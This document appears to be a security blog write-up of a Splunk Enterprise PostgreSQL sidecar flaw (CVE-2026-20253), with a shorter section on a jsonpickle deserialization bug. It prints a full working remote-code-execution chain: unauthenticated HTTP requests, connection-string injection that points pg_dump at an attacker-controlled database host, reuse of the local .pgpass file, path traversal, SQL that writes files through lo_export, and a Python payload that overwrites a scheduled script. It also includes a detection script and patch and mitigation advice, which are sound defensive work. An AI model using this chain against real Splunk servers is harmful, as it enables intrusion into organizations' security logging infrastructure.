No credentials. No foothold. No CVE chaining. Just a Postgres sidecar service sitting behind a web proxy with zero authentication, and a pg_dump flag that lets you point it at any database you want.
That’s the short version. CVSS 9.8. Publicly detailed exploit chain as of June 13, 2026, courtesy of watchTowr Labs. If you’re running Splunk Enterprise on AWS or any version below 10.2.4 / 10.0.7, the attack chain below works against your environment right now.
Here’s everything including the Go binary internals, the actual HTTP requests, the SQL that achieves file write, and exactly how the Python overwrite gets triggered.
What Splunk Enterprise Actually Is (And Why RCE Here Hurts More Than Usual)
Splunk Enterprise ingests logs, metrics, and event data from across an organization’s infrastructure – servers, applications, network devices, security tools and indexes it for near-real-time querying using Splunk’s Search Processing Language (SPL). It’s the core engine of the wider Splunk ecosystem and the backbone of a lot of enterprise SIEM deployments.

That context matters for the impact assessment. An attacker with RCE on a Splunk server isn’t just running code on one machine. They’re on the machine that receives authentication events, firewall logs, EDR telemetry, and privileged user activity from everything else in the environment. That secondary access, read access to every log source Splunk ingests is a significant force multiplier.
The PostgreSQL Sidecar: What It Is and Where It Lives
Splunk version 10 introduced the concept of “Sidecar Services” – supplementary processes running alongside the main Splunk daemon. The PostgreSQL sidecar is one of them, deployed under:
/opt/splunk/var/run/supervisor/pkg-run/
The binary is called splunk-postgres. You can confirm it’s running and check what it’s bound to:
bash
ss -tupln | grep -i splunk-postgrestcp LISTEN ... 127.0.0.1:5435 0.0.0.0:* users:(("splunk-postgres",pid=4067,fd=12))tcp LISTEN ... 127.0.0.1:33669 0.0.0.0:* users:(("splunk-postgres",pid=4067,fd=3))
It binds to loopback only. Port 5435 for Postgres connections, 33669 for its own HTTP API. At first glance: contained, not externally reachable.
The problem is that the main Splunk web application which listens on all interfaces, port 8000 and acts as a proxy to the local sidecar API. Requests to:
/en-US/splunkd/__raw/v1/postgres/recovery/backup/en-US/splunkd/__raw/v1/postgres/recovery/restore
…get forwarded to the sidecar’s HTTP API. The sidecar itself has no authentication. The web proxy layer doesn’t add any. Net result: these endpoints are reachable from anywhere that can hit port 8000, with zero credential requirements.
Default exposure by deployment type:
| Deployment | PostgreSQL Sidecar | Default Exposed? |
|---|---|---|
| Splunk Enterprise on-prem (Windows, manual install) | Not installed | No |
| Splunk Enterprise on-prem (some configs) | Installed but not enabled | No |
| Splunk Enterprise on AWS | Installed and enabled | Yes, by default |
AWS deployments are vulnerable out of the box. No configuration changes required.
The API Surface
The splunk-postgres binary is a Go binary (~66MB). Rather than fully reversing it, watchTowr’s approach was pragmatic: strings + grep to enumerate endpoints.
bash
$ strings splunk-postgres | grep -i /v1/postgres//v1/postgres/telemetry:/v1/postgres/health:/v1/postgres/recovery/backup:/v1/postgres/recovery/restore:/v1/postgres/recovery/status/{id}:/v1/postgres/status:
The two endpoints that matter are /recovery/backup and /recovery/restore. The rest are monitoring and status endpoints.
The Backup Endpoint and Why the Auth Header Is a Joke
The backup endpoint accepts a JSON body with two parameters: database and backupFile.
http
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1Host: your-splunk-host.comContent-Length: 56Content-Type: application/jsonAuthorization: Basic Og=={"database":"search_metadata","backupFile":"backuptest"}
The Authorization: Basic Og== value decodes to : – an empty username and empty password. It works. The endpoint returns 200.
json
{ "backupFile":"backuptest", "database":"search_metadata", "id":"1c11e8e0-eaf6-484c-842f-d42877c0b07a", "lastStatusChange":"2026-06-XXT14:45:17.193652302Z", "state":"BackupPending"}
Under the hood, the backupFile parameter gets passed directly to pg_dump via the -f flag. Here’s the decompiled backupCommand function from the Go binary:
go
func (m *InMemoryRecoveryManager) backupCommand( ctx context.Context, user, backupFile, database, port string,) *exec.Cmd { return exec.CommandContext(ctx, filepath.Join(m.installDir, "bin", "pg_dump"), "-h", "localhost", // hardcoded host "-p", port, // internal port "--clean", "-v", "-w", // never prompt for password "-U", user, // attacker-controlled: pulled from Authorization header "-f", backupFile, // attacker-controlled: file write sink "-Fc", // custom dump format database, // attacker-controlled: database name / connection string )}
Two things jump out immediately:
First: The -U (username) argument is pulled directly from the Authorization header. Whatever username you provide gets forwarded to pg_dump with zero validation. Splunk treats authentication as someone else’s problem and delegates it entirely to PostgreSQL.
Second: The -w flag tells pg_dump never to prompt for a password. This seems to create a paradox – how can legitimate usage work if passwords can’t be entered? The answer involves .pgpass files, which we’ll get to.
Path Traversal in the backupFile Parameter
The backupFile is written directly to the service directory but it has no canonicalization or traversal protection. A standard traversal payload moves you anywhere on the filesystem:
json
{"database":"search_metadata","backupFile":"../../../../../../../../../tmp/backuptest"}
bash
> ls /tmp/backuptest/tmp/backuptest
At this stage, you can create a file at any location. The file will be empty though, because pg_dump can’t authenticate to a local database (we haven’t dealt with credentials yet). So right now: arbitrary file creation and truncation. Useful for DoS against log files or config files. Not yet RCE.
Pointing pg_dump at an Attacker-Controlled Database
Here’s where a pg_dump flag most people ignore becomes the linchpin of the entire exploit.
From the PostgreSQL documentation for pg_dump:
–dbname: Specifies the name of the database to connect to. The dbname can be a connection string. If so, the connection string parameters will override any conflicting command-line options.
The database parameter in the JSON body maps directly to the positional dbname argument in pg_dump. PostgreSQL’s libpq interprets it as a full connection string. That means you can smuggle connection parameters, including hostaddr directly inside it.
json
{"database":"hostaddr=attacker.db.example.com","backupFile":"/tmp/test"}
When pg_dump receives this, it ignores the hardcoded -h localhost argument (because the connection string overrides it) and connects to the attacker’s external PostgreSQL server on port 5432.
The Splunk server reaches out to your database. You’ve redirected the backup operation to point at infrastructure you control.
Full request:
http
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1Host: your-splunk-host.comContent-Length: 94Content-Type: application/jsonAuthorization: Basic dGVzdDo={"database":"hostaddr=attacker.db.example.com dbname=testdb","backupFile":"/tmp/whatever"}
Now pg_dump connects to your external Postgres instance, dumps the testdb database, and writes the dump in PostgreSQL’s custom format (-Fc) to /tmp/whatever on the Splunk filesystem.
Result: A file containing the full pg_dump of your attacker-controlled database lands on the Splunk server. You control the contents of that dump completely.
The Restore Endpoint and the .pgpass Credential Discovery
The /restore endpoint follows the same structure as /backup but calls pg_restore instead of pg_dump. Here’s the decompiled restoreCommand:
go
func (m *InMemoryRecoveryManager) restoreCommand( ctx context.Context, user, backupFile, database, port string,) *exec.Cmd { return exec.CommandContext(ctx, filepath.Join(m.installDir, "bin", "pg_restore"), "-h", "localhost", "-p", port, "--clean", "-v", "-w", "-U", user, // attacker-controlled via Authorization header "-d", database, // attacker-controlled: target database "-Fc", backupFile, // path to dump file to restore )}
The restore operation takes a dump file and replays the SQL inside it against a target database. If we can get it to load the dump we wrote in Phase 2 into the local Splunk PostgreSQL instance, all the SQL in our dump executes inside that local database.
The credential problem: We need to authenticate to the local Splunk Postgres instance as a user with sufficient privileges. We don’t know the password. But we don’t need to.
The database parameter, again interpreted as a libpq connection string supports a passfile argument:
passfile: Specifies the name of the file used to store passwords (see Section 32.16). Defaults to
~/.pgpass.
PostgreSQL’s .pgpass file format is hostname:port:database:username:password – it’s a flat credential store for automated authentication. If Splunk’s local Postgres uses one, and if that file is readable by the sidecar process, we can point pg_restore directly at it.
A filesystem search reveals:
bash
> find /opt/splunk -name *.pgpass/opt/splunk/var/packages/data/postgres/.pgpass> cat /opt/splunk/var/packages/data/postgres/.pgpass*:*:*:postgres_admin:97adredacted
The wildcard format (*:*:*) means this credential applies to any host, port, and database. The username is postgres_admin. The password is stored in plaintext.
We never need to read the actual password. We just tell pg_restore where the file is.
Restore Attacker-Controlled SQL into Local Postgres
http
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1Host: your-splunk-host.comContent-Length: 115Content-Type: application/jsonAuthorization: Basic cG9zdGdyZXNfYWRtaW46{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/whatever"}
Breaking this down:
Authorization: Basic cG9zdGdyZXNfYWRtaW46decodes topostgres_admin:– the usernamepg_restoreuses with-Udbname=template1targets Postgres’s built-intemplate1database (always exists, safe target for imports)passfile=/opt/splunk/var/packages/data/postgres/.pgpasstells libpq to authenticate using the credential file we foundbackupFile=/tmp/whateverpoints at the dump we wrote from our external database
pg_restore reads the dump, authenticates to local Postgres as postgres_admin using the .pgpass credential, and executes every SQL statement in our attacker-controlled dump against the local database.
Arbitrary File Write via lo_export
Now that our SQL runs inside the local Postgres instance, we can use lo_export – a built-in PostgreSQL function for extracting large objects (BLOBs) to the filesystem.
lo_export(oid, path) takes a large object OID and writes its binary contents to the specified file path. The file is written by the Postgres process, which runs as the splunk user and has write access throughout the Splunk installation directory.
Here’s the exact SQL template watchTowr used in their crafted database dump:
sql
DB="yourDB"TBL="yourtable"OUTFILE='/tmp/pwn'CONTENT='pwned'HEX=$(printf '%s' "$CONTENT" | od -An -v -tx1 | tr -d ' \n')DROP TABLE IF EXISTS ${TBL};DROP FUNCTION IF EXISTS ${TBL}_f(int);CREATE FUNCTION ${TBL}_f(i int) RETURNS bool LANGUAGE plpgsql VOLATILE SECURITY DEFINER AS $$DECLARE l oid;BEGIN l := lo_from_bytea(0, '\x${HEX}'::bytea); PERFORM lo_export(l, '${OUTFILE}'); RETURN true;END $$;CREATE TABLE ${TBL} (i int CHECK (${TBL}_f(i)));INSERT INTO ${TBL} VALUES (1);
What’s happening here:
lo_from_bytea(0, ...)creates a new large object in Postgres from a bytea value – your attacker-controlled payload, hex-encodedlo_export(l, '/tmp/pwn')writes that large object to a file on the filesystem- The function is embedded as a
CHECKconstraint on a table - When
INSERT INTO ${TBL} VALUES (1)runs during the restore, the check constraint fires, the function executes, andlo_exportwrites your file
The whole mechanism triggers automatically during pg_restore – no manual invocation needed. Once the dump loads, your payload is on disk.
bash
> cat /tmp/pwnpwned
You now have fully controlled, arbitrary file write anywhere the splunk user can write.
File Write to RCE via Python Script Overwrite
Splunk’s modular input system executes Python scripts on a regular schedule. One of them:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
Splunk’s scheduler calls this file periodically. Overwrite it using the lo_export primitive with any Python payload. watchTowr used:
python
import os; os.system("id > /opt/splunk/share/splunk/search_mrsparkle/exposed/watchTowr.txt")
Next time Splunk’s scheduler fires the script, that code runs under the Splunk process context. The output file (watchTowr.txt) appeared in the Splunk webroot which confirmed RCE.
The Complete Attack Chain

Setup (attacker infrastructure)
- Deploy a PostgreSQL instance reachable from the target Splunk server
- Create a database with a user configured for passwordless authentication via
pg_hba.conf - Grant the user
lo_exportprivileges - Populate the database with the malicious table/function schema above, where
OUTFILEis the target Python script path andCONTENTis your payload
Execution (two HTTP requests)
Request 1 – Dump attacker database to Splunk filesystem:
http
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1Host: your-splunk-host.comContent-Length: 75Content-Type: application/jsonAuthorization: Basic dGVzdDo={"database":"hostaddr=attacker.db.example.com","backupFile":"/tmp/poc"}
pg_dump connects to your external Postgres, dumps the malicious database in custom format, writes it to /tmp/poc on the Splunk server.
Request 2 – Restore malicious dump into local Postgres:
http
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1Host: your-splunk-host.comContent-Length: 111Content-Type: application/jsonAuthorization: Basic cG9zdGdyZXNfYWRtaW46{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/poc"}
pg_restore loads the dump, authenticates using the .pgpass file, the CHECK constraint triggers the lo_export function, and your Python payload is written to:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
Wait. Splunk’s scheduler executes the script. RCE confirmed.
CVE-2026-20251: The Second Vuln Dropped the Same Week
While 20253 is the one that’ll get patched first everywhere, CVE-2026-20251 (CVSS 8.8) is technically more interesting from a research perspective.
This one lives in Splunk Secure Gateway and the App Key Value Store. Splunk uses the Python library jsonpickle to deserialize KV Store data. jsonpickle works by encoding the class name and module path of arbitrary Python objects directly in the JSON payload and when deserializing, it reconstructs the object by importing that module and calling that class.
An attacker with low-privilege access who can write crafted payloads to KV Store gets code execution. That’s CWE-502 (insecure deserialization) in its most direct form – import a module, call a class, run whatever’s in __init__ or __reduce__.
Affected versions:
- Splunk Enterprise below 10.2.4
- Splunk Cloud Platform below 10.3.2512.12
Splunk rates this 8.8 versus 20253’s 9.8 because it requires low-privilege auth rather than zero auth. If you can’t patch immediately, removing the Splunk Secure Gateway app is a documented mitigation for this specific vuln.
Detection
watchTowr published a detection artifact generator (DAG). The logic is simple: send a POST to the backup endpoint with empty credentials. A 400 response with “Failed to decode” in the body means the endpoint is reachable and unauthenticated and you’re vulnerable. A 401 means access is blocked.
python
import argparseimport urllib3import requestsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def dag(host, region): url = f"{host}{region}/splunkd/__raw/v1/postgres/recovery/backup" headers = {"Authorization": "Basic ZGFnOg=="} resp = requests.post(url, headers=headers, verify=False) if resp.status_code == 400 and 'Failed to decode' in resp.text: print('[+] VULNERABLE - access to /v1/postgres/recovery/backup not blocked') elif resp.status_code == 401: print('[-] NOT VULNERABLE - access to /v1/postgres/recovery/backup blocked') else: print('[+/-] UNKNOWN - PostgreSQL Sidecar Service may not be installed/enabled')if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-H', dest='host', required=True, help='e.g. http://splunk.lab:8000') parser.add_argument('-r', dest='region', required=True, help='e.g. en-US') args = parser.parse_args() host = args.host if host[-1] != '/': host += '/' dag(host, args.region)
Run it:
bash
python3 watchTowr-vs-Splunk-CVE-2026-20253.py -H http://splunk.lab:8000 -r en-US[+] VULNERABLE - access to /v1/postgres/recovery/backup not blocked
Affected Versions
| Product | Affected Range | Fixed In |
|---|---|---|
| Splunk Enterprise | 10.0.0 – 10.0.6 | 10.0.7 |
| Splunk Enterprise | 10.2.0 – 10.2.3 | 10.2.4 |
| Splunk Enterprise | 10.4.x | Not affected |
| Splunk Cloud Platform | Below 10.4.2604.3 | 10.4.2604.3 |
| Splunk Cloud Platform | Below 10.2.2510.14 | 10.2.2510.14 |
What to Do Right Now
Patch. That’s the only complete fix. Splunk Enterprise 10.0.7 or 10.2.4. Corresponding Cloud Platform releases per the matrix above.
While you’re getting there:
Firewall /v1/postgres/recovery/* at the network layer. The sidecar API has no business being accessible from anything other than the Splunk process itself. A simple ACL blocking external access to those URL paths buys time.
Monitor outbound Postgres connections (port 5432) from your Splunk host. Phase 2 of the attack chain requires Splunk to initiate an outbound TCP connection to the attacker’s database. That egress is unusual and detectable.
Watch for unexpected writes to /opt/splunk/etc/apps/. Splunk app directories shouldn’t see new .py files outside of legitimate app installs or upgrades. A file integrity monitor on that path will catch the overwrite.
For CVE-2026-20251: removing the Splunk Secure Gateway app eliminates that attack surface if you can’t patch immediately. Test first – it’s a real app with dependencies.
The Uncomfortable Part
The vulnerability itself isn’t exotic. An HTTP endpoint with no authentication forwarding operations to a system service is a configuration error, not a cryptographic flaw. The fact that it reached production in a version shipped to enterprise customers running security infrastructure is the part that sticks.
pg_dump‘s connection string override behavior has been documented behavior for years. The .pgpass file was right where you’d expect it. The Python scripts Splunk executes on a schedule are documented in the app directory structure. None of the individual pieces are obscure. What’s unusual is that they were all accessible without authentication.
The exploit chain is two HTTP requests. Anyone with basic Postgres knowledge and a copy of the watchTowr writeup can run it. That gap between “full public disclosure” and “threat actor has a working tool” is not measured in days.
Check your version. Patch it








